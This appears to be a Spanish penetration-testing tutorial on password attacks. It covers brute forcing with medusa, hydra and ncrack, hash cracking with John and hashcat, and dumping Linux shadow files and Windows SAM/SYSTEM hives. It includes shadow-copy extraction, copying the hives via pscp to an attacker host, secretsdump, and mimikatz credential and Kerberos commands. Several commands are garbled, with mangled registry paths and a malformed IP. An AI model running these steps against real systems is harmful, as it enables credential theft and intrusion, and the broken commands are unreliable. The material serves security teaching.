Ataques y Auditorías de Contraseñas

Las contraseñas son, al menos a día de hoy, el método más utilizado para realizar el proceso de autenticación. Si bien es cierto que existen otros métodos de autenticación como el basado en certificados, llaves electrónicas etc. el porcentaje de este tipo de autenticación es residual y para casos muy concretos.


Por este mismo motivo, los ataques a contraseñas, y a su representación vía hash, son uno de los vectores de ataque a tener en cuenta.

Tipos de ataques a contraseñas
Tratan de averiguar las credenciales de un usuario del sistema. Hay 2 ataques principales:

Password Guessing
Consiste en intentar adivinar las credenciales para acceder al sistema, suele ejecutarse ante formularios de acceso web o bien en servicios de terminal remota, como por ejemplo FTP, Telnet y SSH.

  • Suelen generar mucho tráfico y logs en víctima
  • Situaciones de bloqueo de cuentas
Requisitos
Para poder realizar la tarea de averiguar las contraseñas necesitamos recopilar cierta información previa además de tener que utilizar unas herramientas específicas que automatizan el proceso de autenticación en un determinado servicio.
  • Usuarios de los sistemas.
  • Diccionarios de posibles contraseñas.
  • Aplicaciones de fuerza bruta.
Recopilación de usuarios
Necesitamos un listado de posibles usuarios, para esta recopilación podemos valernos de las técnicas de reconocimientos de usuarios vistas anteriormente en la Fase de escaneo.
  • Linkedin
  • The harvester
  • OSINT

Recopilación de contraseñas
De la misma manera, necesitamos disponer de un diccionario de posibles contraseñas utilizadas por los usuarios, existen varias maneras de recopilar este diccionario.

  • Diccionarios de contraseñas públicos

Existen por la red numerosos listados de posibles contraseñas ajustadas a cierto idioma, temática etc.

Es necesario disponer de un diccionario lo más ajustado y reducido posible de contraseñas debido a que la ejecución de este tipo de técnicas es bastante lenta. En los siguientes enlaces tenéis disponibles varios listados de contraseñas que pueden ser útiles en esta tarea.

  • https://wiki.skullsecurity.org/Passwords
  • https://github.com/danielmiessler/SecLists
  • Crunch
La herramienta crunch sirve para generar listas a partir de un conjunto de caracteres y una longitud. El diccionario consistirá en todas las posibles combinaciones de todo los caracteres para la longitud deseada. Esta forma de generar un diccionario crece exponencialmente con la longitud, por lo que combinaciones no muy complejas resultan en listas enormes.

El formato del comando es el siguiente:

$ crunch min max [charset] [opciones]

Los valores min y max son los valores numéricos del mínimo y el máximo número de caracteres que tendrán las palabras creadas, charset es el conjunto de caracteres que se utilizara para crear las palabras del diccionario y, por ultimo, la lista de opciones del comando que se desea aplicar.

Las posibilidades de opciones son enormes, por lo que es recomendable revisar la página man del comando crunch para conocer todas las opciones que hay disponibles.
  • Cupp
Es una herramienta generadora de listas de palabras que puede generar listas de palabras a partir de información como cumpleaños, apodo, dirección, nombre de una mascota o familiar, o una palabra común como Dios, amor, dinero o contraseña.

$ cupp [opciones]

Las opciones principales son:
  • -i: Es la función más utilizada. Permite al usuario responder una serie de preguntas sobre el objetivo (nombre, apellidos, apodo, fecha de nacimiento, nombre de la mascota, pareja, empresa, etc.) para generar combinaciones posibles.
  • -w: Utiliza un archivo de texto ya creado como base para aplicar perfiles y generar nuevas variaciones de contraseñas.
  • -l: Descarga listas de palabras masivas directamente desde repositorios oficiales de la herramienta.
  • -q o --quiet: Al ejecutar el programa, se evita que se imprima el logo en arte ASCII y el mensaje de bienvenida de CUPP en la terminal.
  • -v:Muestra la versión actual del programa instalada en el sistema.
  • -h: Despliega el menú de ayuda con todas las opciones disponibles y sus descripciones.
  • CeWL

CeWL es una aplicación de ruby ​que realiza un trabajo de “spidering” sobre una URL determinada con una profundidad especificada por el usuario y devuelve una lista de palabras que luego pueden usarse para una posterior fase de ataques de fuerza bruta.

Soporta autenticación tanto por usuario y contraseña como cookies para realizar su trabajo en la parte privada de la aplicación.

Para observar un sitio y escribir todas las palabras encontradas en un archivo

$ cewl -w <archivo> <url>

Hacer crawling de la página y seguir enlaces a otros sitios

$ cewl -o <url>

Establecer profundidad dada y una longitud de palabra mínima

$ cewl -d <profundidad> -m <longitud de la palabra min> <url>

Hacer crawling de la página y seguir enlaces a otros sitios

$ cewl -o <url>

Establecer profundidad dada y una longitud de palabra mínima

$ cewl -d <profundidad> -m <longitud de la palabra min> <url>

Las opciones principales son:

  • --help: Muestra la ayuda completa.
  • -d [depth]: Profundidad de rastreo (por defecto 2). 
  • -m [min-length]: Longitud mínima de las palabras (por defecto 3).
  • -o: Permite a la herramienta visitar otros sitios distintos al original.
  • -w [archivo]: Archivo de salida donde guardar la lista de palabras.
  • -e: Incluye direcciones de correo encontradas.
  • -v: Modo verbose.
  • -u [usuario] -p [contraseña]: Para autenticar en paginas protegidas.
  • -a: Seguir enlaces externos (por defecto solo internos).
  • --lowercase: Convierte todas las palabras en minúsculas.
  • --with-numbers: permite incluir palabras que contienen números en la lista generada.

Herramientas
Una vez hemos recopilado un listado de usuarios y hemos generado un listado de posibles contraseñas, ya podríamos realizar nuestro ataque de averiguación de contraseñas haciendo uso de alguna de las herramientas disponibles para la ejecución de esta tarea.

Estas herramientas automatizan el proceso de autenticación en determinados servicios utilizando para ello listados de usuarios y contraseñas. A continuación se muestran algunas de estas herramientas.

  • Medusa

Herramienta para realizar fuerza bruta de usuarios y contraseñas en un determinado servicio. Sus características más importantes son las siguientes:

  • Paralelismo de conexiones.
  • Fuerza bruta de login.
  • Soporta distintos protocolos y servicios sobre los que realizar la autenticación.

A continuación se muestra un ejemplo de uso de medusa en el que se prueba la misma contraseña sobre un listado de usuarios en el protocolo HTTP (Técnica de password Spraying):

$ medusa -h 192.168.10.2 -U listado_usuarios.txt -p Enero2022 -M http -m DIR/admin -T10

  • ncrack

Herramienta para realizar fuerza bruta de usuarios y contraseñas en un determinado servicio. Su característica más importante es que soporta el paralelismo de conexiones.

A continuación se muestra un ejemplo de uso de ncrack en el que se realiza un ataque de fuerza bruta para averiguar la contraseña del "usuario" offsec realizando una autenticación sobre el protocolo RDP:

$ ncrack -vv --user ofsec -P password_list.txt rdp://192.168.10.2hydra

  • hydra

Herramienta para realizar fuerza bruta de usuarios y contraseñas en un determinado servicio. Esta herramienta está recomendada para realizar una fuerza bruta de las "Community Strings" del protocolo SNMP

A continuación se muestra un ejemplo de uso de la herramienta hydra realizando un ataque de fuerza bruta SNMP probando las distintas community strings que se encuentran en el diccionario password-file.txt.

$ hydra -P password-file.txt -v 192.168.11.219 snmp

Existe una versión gráfica de hydra llamada xhydra, donde se configura el comando con los parámetros a través de listas desplegables y checkbox.

  • Patator

Es una herramienta altamente configurable que, entre otras opciones, permite establecer las condiciones necesarias evaluar la respuesta emitida por el equipo remoto y considerar si las credenciales introducidas son correctas.

Password Cracking
Se trata del proceso en el cual se obtiene una lista de usuarios y contraseñas del sistema que no pueden usarse directamente ya que están protegidas mediante algún tipo de cifrado, por ejemplo utilizando funciones hash.

  • El proceso para obtener las credenciales derivadas del hash se realiza de manera offline. En sistemas específicos para esta tarea gestionados por nosotros.
  • Se requiere un compromiso parcial del sistema analizado.

La técnica de password cracking consiste en intentar utilizar los hashes de las contraseñas para averiguar las contraseñas en texto claro.

Por definición, teniendo un hash no hay ninguna manera de utilizar algún tipo de algoritmo que nos pueda devolver de manera directa la contraseña (en texto claro) que genera ese hash.

La única manera de averiguar la contraseña inicial con la que se generó ese hash consiste en probar posibles combinaciones de contraseñas y aplicar el mismo algoritmo de hash empleado por el protocolo de hashing. En caso que los hashes coincidan, significará que habremos averiguado la contraseña, ya que genera el mismo hash.

Existen varias aplicaciones que pueden realizar cracking de distintos tipos de hashes, pero las más utilizadas son las siguientes:

  • JohnTheRipper.
  • hashcat.

A continuación os indicamos más detalles de cada una de ellas:

  • JhonTheRipper

Herramienta de cracking de contraseñas, existen 2 versiones, la versión normal y la versión jumbo o community, que soporta muchos más algoritmos de hashing para realizar el proceso de cracking.

Soporta paralelización de procesos, pudiendo indicar el número de cores de CPU que se le asignan al proceso de cracking.

Soporta permutaciones de una misma contraseña, es decir, se pueden indicar reglas específicas para que realice una serie de transformaciones a cada contraseña del diccionario especificado

$ john --format=NT --rules -w=/usr/share/wordlists/rockyou.txt hashfile.txt
$ john --format=NT --rules=korelogic --wordlist=/usr/share/wordlist/rockyou.txt hashes_NTLM.txt

En el siguiente enlace podéis acceder a la página oficial de JhonTheRipper.

  • hashcat

Herramienta de cracking de contraseñas, soporta muchos más algoritmos de hashing que jhon.

Soporta el uso de procesamiento GPU, mucho más rápido que el uso de procesadores CPU convencionales.

En hashcat se indica el algoritmo de hash con el parámetro –m seguido de un identificador numérico indicando el algoritmo de hash:

  • MD5: 0
  • SHA1: 100
  • NTLM: 1000
  • SHA2-256: 1400
  • SHA2-512: 1700
En el siguiente enlace podéis acceder a la página oficial de hashcat para ver el valor numérico que identifica el tipo de hash que se está tratando de crackear.

$ hashcat -m 1000 hash.ntlm.txt dictionary.txt

Prueba contraseñas en base a una máscara en la cual se puede indicar la longitud mínima y máxima de las contraseñas a probar, y el tipo de carácter que podrá tener en cada posición

$ hashcat -m 1000 hash.ntlm.txt –a3 ?d?d?d?d?s?l?l?l?l

En el siguiente enlace podéis acceder a la página oficial de hashcat. 

Default passwords
Aunque últimamente es menos habitual encontrarse con esta problemática, muchos dispositivos de red y servicios pueden presentar un “usuario por defecto” con privilegios elevados que tiene una contraseña predefinida.

  • Si no se ha cambiado la contraseña de acceso, un usuario podría acceder al sistema con las credenciales por defecto. 

Existen muchos dispositivos de red (switches, Firewalls, Routers, Impresoras, etc.) que vienen de fábrica con una contraseña predefinida que ha de cambiar el usuario en el momento de la configuración. Además, esta contraseña suele ser la misma en todos los dispositivos del mismo modelo.

Si el usuario no realiza este cambio de contraseña, y sigue utilizando la contraseña por defecto, un atacante malintencionado que tuviera acceso al dispositivo, a través de la red, podría autenticarse en el mismo haciendo uso de la contraseña por defecto.

De manera similar, existen numerosas herramientas de Software o Servicios que presentan la misma problemática, en la que el servicio o aplicativo dispone de una serie de usuarios predefinidos que disponen de una contraseña por defecto.

Por otro lado, esta situación se agrava debido a que existen listados en los que se recogen este tipo de contraseñas disponibles de manera pública en internet. En otras ocasiones, las contraseñas se incluyen en el propio manual del producto o aplicativo.

Tablas Rainbow
Las Tablas Rainbow están estrechamente ligadas al proceso de cracking de contraseñas. Las tablas Rainbow son el resultado de almacenar en tablas específicas, que normalmente disponen de gran velocidad de lectura, una posible contraseña de usuario junto al hash que se genera al aplicar un algoritmo a esa contraseña.

De esta manera se realiza el mismo proceso de cracking pero de manera previa y se almacena el resultado para luego poder ser utilizado tantas veces como se desee.

Esta técnica tiene varias peculiaridades que desgranamos a continuación:

  • La generación de las tablas consume bastante tiempo (además dependiendo del algoritmo pueden tardar bastante tiempo).
  • Una vez que la tabla se ha generado, buscar un determinado hash en la tabla es mucho más rápido que realizar todo el proceso de cracking.
  • La técnica de generar una "Tabla Rainbow" sólo puede realizarse con ciertos algoritmos de hashing. Por ejemplo, algoritmos que utilizan la técnica de "SALT" en la que se utilizan cadenas aleatorias que se añaden a la contraseña antes de generar el hash dado que no podemos conocer el Hash que ha sido aplicado.
  • De la misma manera, algoritmos que utilicen el método "desafío respuesta" para generar un hash tampoco podrían utilizarse en este tipo de ataques debido a que tampoco podemos conocer el valor del "desafío" utilizado para generar el hash.
En el siguiente enlace podéis obtener más información sobre la metodología de Fuerza Bruta.

Obtención de las contraseñas de usuarios
Mientras que en Linux las contraseñas se almacenan en el archivo /etc/shadow, por lo que una de las primeras acciones a realizar tras escalar privilegios es descargarlo.

Las contraseñas en el fichero /etc/shadow tienen el siguiente formato:

usuario:$n$salt$hash

El valor indica la función que se ha empleado para realizar el password hashing:
  • $1$: Función MD5.
  • $2a$: Blowfish.
  • $2y$: eksblowfish.
  • $5$: SHA-256.
  • $6$: SHA-512.
  • $sha1$: SHA1crypt.
  • $y$: Yescrypt.
  • $gy$: Gost-yescrypt.
  • $7$: Scrypt.
Para obtener las contraseñas de los usuarios también se necesita el archivo /etc/passwd. Una vez que se dispone de ambos archivos, se puede utilizar el comando unshadow para combinar ambos archivos.

$ unshadow passwd shadow > HASHLinux

Dicho archivo contendrá los nombres de usuarios y los hashes de las contraseñas. Antes de proseguir, es necesario recordar que una función hash aplica un algoritmo para transformar un bloque de datos de cualquier longitud en una cadena de caracteres, que siempre tiene la misma longitud. Esta función no es reversible, por lo que no es posible deshacer la operación para obtener la contraseña inicial partiendo de un hash, es decir, no se puede descifrar un hash.

También se puede obtener la contraseña de un usuario obteniendo solamente del archivo /etc/shadow el usuario:$n$salt$hash.

Para extraer la contraseña que dio lugar a un hash determinado es necesario hacer una suposición de una posible contraseña y calcular el hash de la misma. Si ambos valores coinciden, la contraseña supuesta será válida, en caso contrario será necesario repetir el proceso con otra suposición de contraseña.

Para acelerar el proceso, normalmente se utilizarán diccionarios de contraseñas y una herramienta que realice todos los pasos de manera automática. Una de ellas es John the Ripper, que es una herramienta de código abierto con distintas versiones gratuitas o de pago y está incluida por defecto en la mayor parte de las distribuciones Linux orientadas al pentesting, aunque también se puede instalar a partir de los repositorios.

Sin entrar en excesivos detalles, esta herramienta permite obtener contraseñas a partir de múltiples formatos de hash, tiene capacidad de detección automática del formato utilizado, e incorpora un diccionario por defecto si no se especifica un diccionario. Además, utiliza reglas para generar variaciones de las palabras del diccionario y para generar sus propias combinaciones de caracteres.

El uso básico simplemente requiere ejecutar la instrucción indicando el archivo donde están los hashes.

$ john HASHLinux

El éxito y el tiempo necesario para obtener las contraseñas dependen de la complejidad de las mismas y del diccionario utilizado, aunque no siempre se podrán obtener contraseñas a partir de los hashes, al menos en un tiempo razonable.

Una vez finalizada la ejecución, la equivalencia entre el hash y la contraseña se guardará en el archivo john.pot, de modo que, si se intenta obtener una contraseña a partir de un hash que ya se haya descifrado previamente, el resultado no se mostrará en la ejecución en tiempo real. Para consultar las contraseñas ya conocidas para un archivo, se utiliza el parámetro --show, lo que mostrará las contraseñas equivalentes que se encuentren en john.pot.

$ john --show HASHLinux

En Windows se pueden encontrar en varios sitios distintos de archivos. En un equipo, utiliza el administrador de cuentas de seguridad, más conocido como SAM (Security Account Manager). Se trata de un fichero del registro que se emplea a partir de Windows NT para guardar los hashes de las contraseñas de los usuarios de forma segura. En las versiones de Windows previas a Windows Server 2003 y XP los hashes se almacenaban en formato LANMAN (usa el algoritmo LMHash) y NTHash (también llamado NTLM). En las versiones más modernas únicamente se almacena la representación NT, aunque por motivos de compatibilidad el fichero mantiene la misma estructura y se permite también almacenar los hashes LANMAN.

El archivo se ubica en la ruta %systemroot%\system32\config\SAM, y se monta en el registro en HKLM/SAM. A diferencia del archivo shadow en Linux, que resultaba accesible cuando el atacante consigue escalar privilegios, el archivo SAM de Windows no resulta accesible de manera directa cuando el sistema está en ejecución.

En el caso de que el equipo forme parte de un Directorio Activo (AD, del inglés Active Directory), las contraseñas de los usuarios del dominio se almacenan en el Controlador de Dominio (DC, del inglés Domain Controller), de modo que para conseguir acceso a las mismas será necesario moverse lateralmente hasta lograr acceso al DC. Una vez allí se deberán obtener los archivos %systemroot%\ntds\ntds.dit, así como la bootkey que se encuentra en el fichero SYSTEM. Al igual que cuando se trata del SAM, no es posible acceder al archivo cuando el sistema se encuentra en ejecución.

Kerberos es un protocolo de autenticación de red creado por el MIT. Es el método predeterminado para autenticar clientes en el controlador de dominio desde Windows 2000. Kerberos utiliza los puertos TCP/UDP 88 y la autenticación de los recursos del dominio se basa en un sistema de tickets:
  • Ticket Granting Service (TGS): Es el ticket que se presenta ante un servicio para poder acceder a sus recursos.
  • Ticket Granting Ticket (TGT): Es el ticket empleado para autenticarse ante kerberos y obtener los TGS que dan acceso a diferentes recursos.
Existen multitud de ataques que se pueden realizar contra Kerberos: PTK (Overpass The Hash o Pass The Key), PTT (Pass The Ticket), Golden Ticket, y Silver Ticket, Kerberoasting, ASREPRoast. En la siguiente entrada de este blog se pueden ver algunos de estos ataques.

Sin haber escalado privilegios previamente, no se tendrá acceso a los archivos anteriores, de modo que habrá que esperar a escalar privilegios o buscar las contraseñas en otro sitio. Uno de los sitios donde se puede encontrar contraseñas es en el registro, puesto que algunas claves podrían contener la contraseña del administrador. Algunas de las claves de interés son la de autologin, la clave de sesiones de Putty o la de VNC.

$ reg query "HKCU\Software\ORL\WinVNC3Wassword"
$ reg query "HKLM\SOFTWARE\MicrosoftWindows NT\CurrentversionWinlogon"
$ reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP"
$ reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"

Para obtener cualquiera de los archivos mencionados en este apartado, en caso de tener acceso físico al equipo se podría utilizar un LiveCD o conectar el disco duro a otro equipo y copiar los archivos necesarios, siempre y cuando el disco no se encuentre cifrado. Esta situación no será la normal durante un ataque ni durante un test de penetración y tampoco es aconsejable apagar el DC, de modo que se deben emplear otras alternativas.

Generalmente, se pueden buscar copias de seguridad en el directorio C:\Windows\Repair. En caso de no encontrarlos allí, la forma más sencilla de descargar los archivos es a través del registro utilizando las siguientes instrucciones. Este método, a diferencia del que se verá a continuación, permite ejecutar los comandos desde una sesión obtenida como SYSTEM.

$ mkdir C:\Descarga\SAM
$ reg save HKLM\SAM c:\DescargaSAM\sam
$ reg save HKLM\SYSTEM c:\DescargaSAM\system

Otra forma de extraer los archivos es a través de las Shadow Copies. Para ello, el primer paso es crear una Shadow Copy del volumen donde se encuentran los archivos SAM o/y ntds.dit. El procedimiento es diferente según el sistema sea Windows Server o un Windows dirigido a equipos de trabajo, aunque, en cualquier caso, para ejecutar estos comandos se necesitará una cuenta de administrador, no de SYSTEM.

# En un servidor
$ vssadmin create shadow /for=C:
# En caso de que la shell sea de 32 bits.
$ C:\Windows\sysnative\vssadmin create shadow /for=C:

# En Windows de escritorio
$ powershell.exe -Command (gwmi -list win32_shadowcopy).Create('C:\' , 'ClientAccessible)
# Alternativa con wmic
$ wmic shadowcopy call create Volume='C:\'
# Para obtener la información de la shadow copy
$ vssadmin List Shadows

Cuando finaliza la ejecución se muestran el nombre y el ID de la Shadow Copy. Resulta fundamental anotar ambos datos, puesto que el ID se utilizará para borrar la copia al finalizar y el nombre será necesario para poder extraer los archivos.

El siguiente paso es extraer los archivos necesarios, para lo cual se emplean las siguientes instrucciones, sustituyendo el número 3 por el indicado por vssadmin en el nombre del volumen de la instantánea.

$ mkdir C:\Descarga
$ copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\windows\system32\config\SAM c:\Descarga\sam
$ copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\windows\system32\config\SYSTEM c:\Descarga\system

Para extraer los hashes a partir de estos archivos se transfieren ambos al equipo atacante y usando la herramienta psccp para procesar estos archivos.

$ pscp.exe -P 22 c:\DescargaSAM\sam Th1@10.10.10.4:/tmp/
$ pscp.exe -P 22 c:\DescargaSAM\system Th1@l0.10.10.4:/tmp/

Tradicionalmente, todos los tutoriales que se pueden encontrar en Internet indican que se debe utilizar samdump2, pero con las últimas versiones de Windows 10 a partir de Windows 10 aniversary update, esta herramienta ha perdido utilidad porque todos los hashes que extrae son aad3b435b51404eeaad3b435b51404ee y 31d6cfe0d16ae931b73c59d7e0c089c0 para el hash LM y NT, respectivamente.

La suite Impacket ofrece una herramienta muy útil para extraer los hashes a partir del archivo SAM. Esta herramienta está incluida por defecto en Kali Linux y otras distribuciones orientadas al pentesting y también se puede descargar desde github. Para procesar los archivos se utiliza una sola instrucción.

$ impacket-secretsdump -sam /tmp/sam -system /tmp/system LOCAL

Se pueden utilizar estos hashes para intentar obtener contraseñas a partir de los mismos. El primer paso será generar un archivo a partir de la salida de impacket-secretsdump, eliminando las lineas que no corresponden a cuentas de usuario. Con el archivo bien conformado, es posible descifrarlo con john the ripper o hashcat, teniendo en cuenta que en caso de utilizar esta última herramienta es recomendable no hacerlo desde una máquina virtual y utilizar una tarjeta gráfica potente.

El éxito de la obtención de contraseñas dependerá del diccionario utilizado y de la robustez de la contraseña.

En caso de no encontrar las contraseñas se pueden emplear otros diccionarios. Es en este punto donde los diccionarios personalizados pueden resultar muy útiles, es decir, si se consigue información suficiente de la persona, por ejemplo, a partir de lo que publica en redes sociales, es posible que la contraseña sea una variación del nombre de algún familiar, mascota, su lugar preferido de vacaciones u otra información sencilla de deducir.

Existen páginas web en las que se pueden subir los hashes obtenidos para obtener las contraseñas equivalentes, pero tampoco garantizan el éxito y, además, seria una irresponsabilidad hacerlo durante un test de penetración, puesto que se estarían subiendo información sensible a una plataforma ajena y no se sabe qué pueden hacer con dicha información.

Además del método utilizado, para obtener los hashes a partir de estos ficheros hay que tener en cuenta que Microsoft cambió el algoritmo empleado para almacenar las contraseñas NTHash en la versión de Windows 10 v1607. Por ello las herramientas y métodos empleados difieren para las versiones anteriores y posteriores a esta. estas son algunas de las mas utilizadas:
  • pwdump7: permite extraer los hashes de versiones anteriores a Windows 10 v1607.
  • pwdump8: es una actualización de la herramienta anterior que soporta el cifrado AES-128 introducido en Windows 10 v1607.
  • samdump2: Disponible en Kali Linux, permite extraer los hashes a partir de los ficheros SAM y SYTEM para versiones anteriores a Windows 10 v1607.
  • fgdump.exe: probablemente sea detectada por el antivirus.
  • Powershell.
  • Metasploit: si se utiliza una shell obtenida en dicho framework.
  • crackmapexec: desde un equipo Linux y extraerlos en remoto, pero para esto es necesario que el equipo tenga el servicio SMB accesible y utilizar una cuenta de administrador.
  • Mimikatz: permite extraer los hashes de contraseñas, tickets Kerberos de la memoria y realizar diferentes tipos de ataques como pass-the-hashpass-the-ticketGolden tickets, por lo que contituye una herramienta muy utilizada en el proceso de explotación y post-explotación en sistemas Windows; probablemente sea detectada por el antivirus. con esta herramienta se deben utilizar los siguientes comandos en el prompt de la herramienta:
    • privilege::debug: Habilita privilegios especiales (SeDebugPrivilege) para el proceso actual, necesarios para acceder a la memoria de otros procesos (como LSASS).
    • token::elevate: Eleva el token del proceso actual si hay disponibles tokens con más privilegios (por ejemplo: SYSTEM).
    • lsadump::sam: Extrae hashes de contraseñas almacenadas localmente en el SAM (Security Account Manager).
    • lsadump::lsa: Extrae secretos LSA (Local Security Authority), como contraseñas de cuentas de servicio.
    • lsadump::secrets: Recupera secrets almacenados por el LSA (Local Security Authority), como contraseñas de servicios o cuentas programadas.
    • sekurlsa::logonpasswords: Extrae las credenciales (en texto claro, hashes o tokens) de los usuarios que han iniciado sesión en el sistema.
    • sekurlsa::ticket: Lista los tickets Kerberos (TGT o TGS) cargados en la memoria.
    • kerberos::ptt [ticket.kirbi]: Inyecta un tickets Kerberos (TGT o TGS) en la sesión actual.
Los hashes de los usuarios están divididos en dos partes separadas por dos puntos. En la parte izquierda aparece la cadena correspondiente al LMHash, siendo su valor indiferente, y en la parte derecha aparece la cadena NTHash; el valor NTHash (31d6cfe0d16ae931b73c59d7e0c089c0) se emplea para identificar las cuentas que están deshabilitadas.